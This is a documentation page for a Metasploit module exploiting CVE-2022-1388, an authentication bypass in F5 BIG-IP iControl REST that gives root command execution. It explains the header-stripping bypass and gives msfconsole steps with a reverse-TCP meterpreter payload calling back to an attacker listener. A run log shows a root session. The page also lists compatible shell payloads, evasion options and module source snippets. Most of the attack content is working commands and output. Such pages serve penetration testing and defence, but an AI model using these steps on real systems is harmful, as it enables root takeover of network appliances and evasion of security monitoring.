F5 BIG-IP iControl RCE via REST Authentication Bypass - Metasploit
This page contains detailed information about how to use the exploit/linux/http/f5_icontrol_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 BIG-IP iControl RCE via REST Authentication Bypass
Module: exploit/linux/http/f5_icontrol_rce
Source code: modules/exploits/linux/http/f5_icontrol_rce.rb
Disclosure date: 2022-05-04
Last modification time: 2022-05-11 16:36:23 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-1388
This module exploits an authentication bypass vulnerability in the F5 BIG-IP iControl REST service to gain access to the admin account, which is capable of executing commands through the /mgmt/tm/util/bash endpoint. Successful exploitation results in remote code execution as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/linux/http/f5_icontrol_rce
msf exploit(f5_icontrol_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits an authentication bypass vulnerability (CVE-2022-1388)
in the F5 BIG-IP iControl REST service to gain access to the admin account,
which is capable of executing commands through the /mgmt/tm/util/bash
endpoint. Successful exploitation results in remote code execution as
the root user.
The F5 BIG-IP management interface is made up of two different web servers:
a reverse proxy that validates HTTP Basic authorization using mod_auth_pam.so,
and a back end that validates the X-F5-Auth-Token header using
AuthTokenWorker.java. If the reverse proxy sees an X-F5-Auth-Token header,
it sends the full request to the back end for validation; if the back end
sees a request without an X-F5-Auth-Token header, it assumes it has
already been validated by the reverse proxy and uses the username from
the Authorization header without validating the password a second time.
The issue fixed in CVE-2022-1388 is that the Connection header,
processed by the reverse proxy, can remove the X-F5-Auth-Token header
after the reverse proxy sees the request, but before it's forwarded to
the back end. That means that the reverse proxy will think the back end
is handling the authorization (since it saw the appropriate header), but
the back end thinks the reverse proxy handled it (because the header gets
removed) and permits the request. This is contrary to the expected
operation and means that whatever username was passed in the Authorization
field will be trusted as if the front end had validated it. This will
result in the attacker bypassing authorization checks and gaining
access to admin.
The iControl REST service has several ways to execute shell commands
as an administrative user, but mgmt/tm/util/bash is purpose-built
to execute bash commands which makes it a perfect target.
CVE-2022-1388 affects the following F5 BIG-IP versions:
- 16.1.x versions prior to 16.1.2.2
- 15.1.x versions prior to 15.1.5.1
- 14.1.x versions prior to 14.1.4.6
- 13.1.x versions prior to 13.1.5
- all 12.1.x and 11.6.x
Tested against BIG-IP 12.1.5.3, 13.1.3.6, 13.1.4.1, and 16.1.2.1.
Setup
Import a vulnerable BIG-IP or BIG-IQ OVA, such as
BIGIP-16.0.1-0.0.3.ALL-vmware.ova from https://ipxpy.net/f5/f5-1-course-introduction/,
into your desired hypervisor. Boot the virtual appliance, and
it should be exploitable out of the box once it's up.
Verification Steps
Targets
0
This executes a Unix command.
1
This uses a Linux dropper to execute code.
Options
USERNAME
Set this to a valid admin username. Defaults to admin.
TARGETURI
Set this to base path to the iControl installation. Defaults to /.
Scenarios
BIG-IP 16.1.2.1
msf6 > use exploits/linux/http/f5_icontrol_rce
[*] Using configured payload cmd/unix/reverse_python_ssl
msf6 exploit(linux/http/f5_icontrol_rce) > set PAYLOAD payload/cmd/unix/python/meterpreter/reverse_tcp
PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rce) > set RHOSTS 10.0.0.133
RHOSTS => 10.0.0.133
msf6 exploit(linux/http/f5_icontrol_rce) > set LHOST 10.0.0.123
LHOST => 10.0.0.123
msf6 exploit(linux/http/f5_icontrol_rce) > set RPORT 443
RPORT => 443
msf6 exploit(linux/http/f5_icontrol_rce) > show options
Module options (exploit/linux/http/f5_icontrol_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.0.133 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the iControl installation
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.0.123 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/f5_icontrol_rce) > exploit
[*] Started reverse TCP handler on 10.0.0.123:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking 10.0.0.133:443
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp
[*] Sending stage (40132 bytes) to 10.0.0.133
[*] Meterpreter session 1 opened (10.0.0.123:4444 -> 10.0.0.133:50372) at 2022-05-11 10:59:32 -0700
[!] Command execution timed out
meterpreter > getuid
Server username: root
Go back to menu.
Msfconsole Usage
Here is how the linux/http/f5_icontrol_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/f5_icontrol_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rce) > show info
Name: F5 BIG-IP iControl RCE via REST Authentication Bypass
Module: exploit/linux/http/f5_icontrol_rce
Platform: Unix, Linux
Arch: cmd, x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-05-04
Provided by:
Heyder Andrade
alt3kx <[email protected]>
James Horseman
Ron Bowes
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the iControl installation
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authentication bypass vulnerability in the
F5 BIG-IP iControl REST service to gain access to the admin account,
which is capable of executing commands through the
/mgmt/tm/util/bash endpoint. Successful exploitation results in
remote code execution as the root user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-1388
https://support.f5.com/csp/article/K23605346
https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
https://github.com/alt3kx/CVE-2022-1388_PoC
Module Options
This is a complete list of options available in the linux/http/f5_icontrol_rce exploit:
msf6 exploit(linux/http/f5_icontrol_rce) > show options
Module options (exploit/linux/http/f5_icontrol_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to the iControl installation
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
Advanced Options
Here is a complete list of advanced options supported by the linux/http/f5_icontrol_rce exploit:
msf6 exploit(linux/http/f5_icontrol_rce) > show advanced
Module advanced options (exploit/linux/http/f5_icontrol_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR bourne no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write,
echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequ
est, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CmdExecTimeout 3.5 yes Command execution timeout
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-
IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-
negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x6 no The User-Agent header to use for all requests
4; rv:97.0) Gecko/20100101 Firefox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Use a debug version of Meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framew
ork/wiki/Meterpreter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork true no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but di
rectly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/f5_icontrol_rce module can exploit:
msf6 exploit(linux/http/f5_icontrol_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/f5_icontrol_rce exploit:
msf6 exploit(linux/http/f5_icontrol_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/ssh/interact normal No Interact with Established SSH Connection
5 payload/generic/tight_loop normal No Generic x86 Tight Loop
6 payload/linux/x64/exec normal No Linux Execute Command
7 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
8 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
9 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
10 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
11 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
12 payload/linux/x64/pingback_bind_tcp normal No Linux x64 Pingback, Bind TCP Inline
13 payload/linux/x64/pingback_reverse_tcp normal No Linux x64 Pingback, Reverse TCP Inline
14 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
15 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
16 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
17 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
18 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
19 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
20 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
21 payload/linux/x86/adduser normal No Linux Add User
22 payload/linux/x86/chmod normal No Linux Chmod
23 payload/linux/x86/exec normal No Linux Execute Command
24 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
27 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
28 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
29 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
30 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
31 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
32 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
33 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
34 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
35 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
36 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
37 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
38 payload/linux/x86/read_file normal No Linux Read File
39 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
42 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
43 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
44 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
45 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
46 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
47 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
48 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
49 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
50 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
51 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
52 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/f5_icontrol_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/f5_icontrol_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-norm
al, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
:resterrorresponse
Here is a relevant code snippet related to the ":resterrorresponse" error message:
105:
106: return CheckCode::Unknown unless res&.code == 401
107:
108: body = res.get_json_document
109:
110: return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'
111:
112: signature = Rex::Text.rand_text_alpha(13)
113: stub = "echo #{signature}"
114: res = send_command(stub)
115: return CheckCode::Safe unless res&.code == 200
tm:util:bash:runstate
Here is a relevant code snippet related to the "tm:util:bash:runstate" error message:
114: res = send_command(stub)
115: return CheckCode::Safe unless res&.code == 200
116:
117: body = res.get_json_document
118:
119: return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'
120:
121: return CheckCode::Vulnerable if body['commandResult'].chomp == signature
122:
123: CheckCode::Safe
124: end
commandResult
Here is a relevant code snippet related to the "commandResult" error message:
116:
117: body = res.get_json_document
118:
119: return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'
120:
121: return CheckCode::Vulnerable if body['commandResult'].chomp == signature
122:
123: CheckCode::Safe
124: end
125:
126: def exploit
Command execution timed out
Here is a relevant code snippet related to the "Command execution timed out" error message:
137: def execute_command(cmd, _opts = {})
138: vprint_status("Executing command: #{cmd}")
139:
140: res = send_command(cmd)
141: unless res
142: print_warning('Command execution timed out')
143: return
144: end
145:
146: json = res.get_json_document
147:
Failed to execute command
Here is a relevant code snippet related to the "Failed to execute command" error message:
144: end
145:
146: json = res.get_json_document
147:
148: unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'
149: fail_with(Failure::PayloadFailed, 'Failed to execute command')
150: end
151:
152: print_good('Successfully executed command')
153:
154: return unless (cmd_result = json['commandResult'])
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Related Pull Requests
GITHUB_OAUTH_TOKEN environment variable not set. See how
References
- CVE-2022-1388
- https://support.f5.com/csp/article/K23605346
- https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
- https://github.com/alt3kx/CVE-2022-1388_PoC
See Also
Check also the following modules related to this module:
- exploit/linux/http/f5_bigip_tmui_rce
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/f5_icontrol_exec
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/ssh/f5_bigip_known_privkey
- auxiliary/admin/networking/f5_config
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/f5_bigip_virtual_server
- auxiliary/scanner/http/f5_mgmt_scanner
- post/networking/gather/enum_f5
Authors
- Heyder Andrade
- alt3kx <alt3kx[at]protonmail.com>
- James Horseman
- Ron Bowes
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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